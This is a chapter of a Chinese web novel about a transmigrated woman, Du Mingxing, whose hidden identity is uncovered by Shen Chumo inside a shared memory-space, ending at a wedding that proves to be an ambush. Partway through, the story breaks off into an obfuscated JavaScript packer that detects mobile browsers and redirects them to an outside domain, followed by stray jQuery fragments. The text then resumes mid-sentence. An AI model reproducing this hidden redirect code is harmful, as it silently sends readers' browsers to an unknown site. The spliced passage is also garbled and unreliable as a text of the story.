接下来几天，为了准备大礼，杜茗星短暂告别甜瑜，拉着沈初墨到基地外，暗地里忙活起来，并设好屏障，防止被人打扰。


    期间虽然沈初墨兴致不高，但干活利索，指哪搭哪，十分好用。


    在婚礼仪式前一天，杜茗星望着搭建好的场地拍拍手，又叉到腰间，欣赏自己的杰作，想象着方小郑见到它的场景，已经迫不及待。


    没有注意到，沈初墨的眉越蹙越深。


    当她意识到时，已经被卷入识海，回到那一天。


    于他和她，都不堪回首的那天。


    杜茗星立在原地，周围的一切场景仿佛破碎过又缝缝补补，似打过仗的战场凌乱不堪、尸横遍野，到处是尖刺与裂纹中流淌的黑色液体，最令她触目惊心的，是少年沈初墨的后背。


    让她想起电影或漫画中，无数箭矢射向主角，最后主角身上插满箭的模样。


    他的后背，密密麻麻是小刀，透明却看得出真实存在，它们在空间中扭曲变形，啃噬着皮肉，造成数不清的伤痛。


    无数次反刍，让这场景历久弥新。


    杜茗星看到他还在机械般重复着那天的话语，像是无法按下暂停键的播放器，


    “每当我分不清哪边是真时，我只要看到你，就会放下心，知道只有你在的世界才是对的。”


    “所以，我一定会保护好你，倾尽全力。”


    杜茗星抿了抿唇，回想起自己再次穿越以来、用尽各种方式的弥补与一次次道歉，一时怔忡。


    她以为……她还以为……


    原来，幼时遭受的创伤，会在心口留下碗大的疤。


    杜茗星正想着不能让悲剧重演，忽地发现，她这次与上回被卷入识海不同，并不能控制场景中的沈怀欣行动，反而是以局外人的视角，观看这出剧。


    接下来，场景重现，沈怀欣握着刀，杀意凛然。


    局势千钧一发。


    杜茗星的选择，与曾经如出一辙——冲上前，用自己透明的身躯横在沈初墨前，想要拦下那柄破空的刀。


    这次，她同样感受到身后溅起的鲜血，是来自沈初墨的。


    “……我很抱歉，没能保护好你。”


    整个场景在这一刻，碎成蛛网状的碎片，掉落后纷纷消失不见，周围一片虚无，只有沈初墨站在她面前，如一尊雕塑。


    是经历过一切、如今的他。


    重温这幕，他表情平静，反而是她攥拳的手指发白微颤。


    久违的焦虑，让杜茗星几乎带了点质问：“为什么？你为什么会被拖进来？”


    脱口而出后，她才意识到自己语气太急，忙收敛神色，向前握住他手。忽然被卷入回忆，她唯恐自己不慎遗漏了什么，横生事端。


    她想弄明白，究竟有什么诱因，在这样平静的日子，让沈初墨回忆起那天。


    她低头解释：“我只是觉得，事出必有因，如果你还为我的背叛耿耿于怀……”


    沈初墨忽然说：“星星，你欠我个报酬。”


    “要什么，你说。”她洗耳恭听。


    “回答我问题。”


    杜茗星把手按在额头，系统的警告已冲破天际，闹得她脑壳嗡嗡作响。她害怕被提些回答不了的，只能暗示，


    “初墨，你挑个简单的问题吧，我一定知无不答。”


    沈初墨眼神暗了暗，


    “即使最后一天，你还是……”


    “也是，我不值得。那你悄悄告诉我，”沈初墨弯腰，薄唇贴向她耳侧，“——你的真名？”


    晴天霹雳。


    心跳先于意识，在杜茗星胸口横冲直撞。她表情空白，脖颈仿佛凝固，微微扭动时，有种连接处生锈的不协调感，


    “我没听懂你在说什么……我、我是沈怀欣啊，你糊涂了？”


    “星星，你知道我在镜湖看到了什么？”


    杜茗星眼神已经完全木了，思维糊得无法运转，呆滞地望着他。


    很快，沈初墨为她揭示答案，与那天夜晚一模一样，


    ——“是你本人。”


    一位眉眼与沈怀欣有几分相似的成年女性。


    只是，当他想要了解更多时，那场幻境便已消散，徒留那抹倩影存于脑海。


    “……”


    别说杜茗星，她脑中的系统也沉默了，警报也不响了，提示也不弹了，安静如鸡。


    沈初墨没理会她的震惊，自顾自道：“星星，你的名字里有‘星’这个字吗？嗯，适合你。”


    “你在农村长大，有个弟弟，还有对偏心的父母。”


    “你跟沈怀欣很匹配，可能是脑电波、灵魂，也可能是某种玄幻的命运，所以你能附身。”


    杜茗星大惊失色。


    【杜茗星：真的吗？】


    【系统：差不多，穿越要求宿主与载体的匹配度极高，所以你与原主外貌相似不是巧合。不是任何人都能穿越，也不是能穿越到任何人身上。】


    【杜茗星：你不早说？难怪你总是找我！】


    【系统：你也没问啊。】


    “你还知道什么？都告诉我。”杜茗星战战兢兢。


    “不多，”沈初墨答，“实际上很多问题我想了很久，都想不透。”


    “你对这个世界缺乏常识，应该来自异界，但你却能预知未来走向，以前是，现在也是。”


    “你穿越后，并未展露任何惊慌，说明穿越不是意外，你完全知情。”


    “但我想不透，你当年明明已经离开，时隔十年后，去而复返的目的是什么？不，应该说，你两次穿越的目的都是什么？”


    他的目光凝在她身上，能洞察一切：“总不能是……维护世界秩序？”


    杜茗星绷不住了。


    ……这叫“知道得不多”？老底都被揭了！


    【杜茗星：天塌了！这对我们的计划有影响吗？】


    【系统：不知道，静观其变。】


    杜茗星捂着脑袋蹲到地上，彻底放弃思考，感觉自己被剥得比在床第之间还光，一眼望到底。


    “你脑洞大开，瞎猜的话，我也没办法！”她索性躺平，在识海滚来滚去，赖皮地重复着，死不承认，“反正我就是沈怀欣！沈怀欣就是我！”


    “星星。”


    一双手臂撑到她脸颊左右的地面，将她禁锢在怀里，两人呼吸极近，紊乱的吐息互相交缠，男人的嗓音轻柔又卑微，


    “我知道，你想要什么。”


    “我用你想要的，换你两句实话，可以吗？”


    杜茗星愣住，想明白后，克制地瘪了瘪嘴，可终于没忍住，鼻腔一酸哭了出声。


    哭得很大声，呜呜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034414|169913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作响，连识海都被感染，四周弥漫着浓郁的咸涩雾气，是眼泪的味道。


    原来，从他的角度看，没有人比她更冷酷、更无情，才再度魇进那段回忆。


    诱因是她。


    她咬着银牙：“你究竟知不知道，我要的是……”


    “我的命，是吗？”沈初墨给她擦眼泪，轻描淡写，“当然知道。”


    要他采龙涎香，再请君入瓮……一切都是为了让苏梓涵顺利净化他，同前世一样。预知未来的她想做什么，一目了然，只是他始终不愿去想，亦不愿相信。


    他的性命，可以被任何人记挂，被任何人夺取，唯独她……但他最终妥协了。


    沦陷于她用虚情假意编织的网，沉醉于她烙在脖颈处的死亡之吻，以及，比任何糖果都甜的毒汁。


    他放弃抵抗，甘之如饴，顺着她的意，一步步走向终局。


    隔了许久，杜茗星从抽噎中平息，


    “初墨，你想知道什么？”


    “你的名字。”


    “杜茗星，”杜茗星顿了顿，小声补充，“但我更喜欢你叫我‘星星’。”


    沈初墨笑：“好，星星。”


    “还有个问题，最后一个，”他敛了敛眼中笑意，揉她的脑袋，柔声，“你的梦想实现了吗？”


    “……”


    杜茗星眼泪又不争气地涌了出来，想问他为什么不问点别的，关心这些有的没的做什么，偏偏她一抽抽的，连这句简短的问话都说不出。


    他明明可以问很多，她瞒了一路的真相，她的目的，甚至系统，在被击穿防线的她面前，任何问题都禁不住一点追问。但他偏偏问了最无足轻重的。


    他问梦想。


    他还记得，十年前污染源中，她深埋的梦。


    杜茗星用力点头，拼尽全力抱紧沈初墨：“是你，给我勇气。”


    识海的时间流速往往与体感相悖，杜茗星从识海中出来，看了眼手机，第一眼以为只过了1个小时，距离方小郑婚礼还有整整23个小时。


    沈初墨指了指通讯器上的日期，示意她看仔细点。


    杜茗星擦亮眼睛，然后眼前一黑，一时失声，


    “我们已经……迟到一小时了？！”


    沈初墨点头。不等杜茗星指示，自觉将她带到临时改造的婚礼场地附近，用最快速度。


    杜茗星来不及换礼服，匆匆忙忙推开门，闯进婚礼现场。几十个未接来电，一定是等急了。


    “……”


    走错地方？


    杜茗星下意识后退一步，恰巧靠到沈初墨。


    对方的手搭到她肩膀，她浑身一颤，寒毛从后颈立到头顶。不是因为沈初墨，而是场地内，这些全副武装的人。


    站在最中央的，是苏梓涵，左右两侧分别站着林慕修和符凌轩，前方稍远一些的位置，则是齐逸。


    而婚礼的主角方小郑，以及她的伴娘甜瑜，均不见踪影。


    合着，瓮中捉鳖来了。


    联想到方小郑重逢时的异常，杜茗星心里已有了猜测。她不怪她，牺牲一个仿造出来的虚假旧友，博一个光明的未来，是个人都知道怎么选，更别提还要为孩子着想。


    婚庆场地内，乌压压的人头，面上挂着的不是祝福，而是仇恨与警惕。


    像极了一出黑色幽默。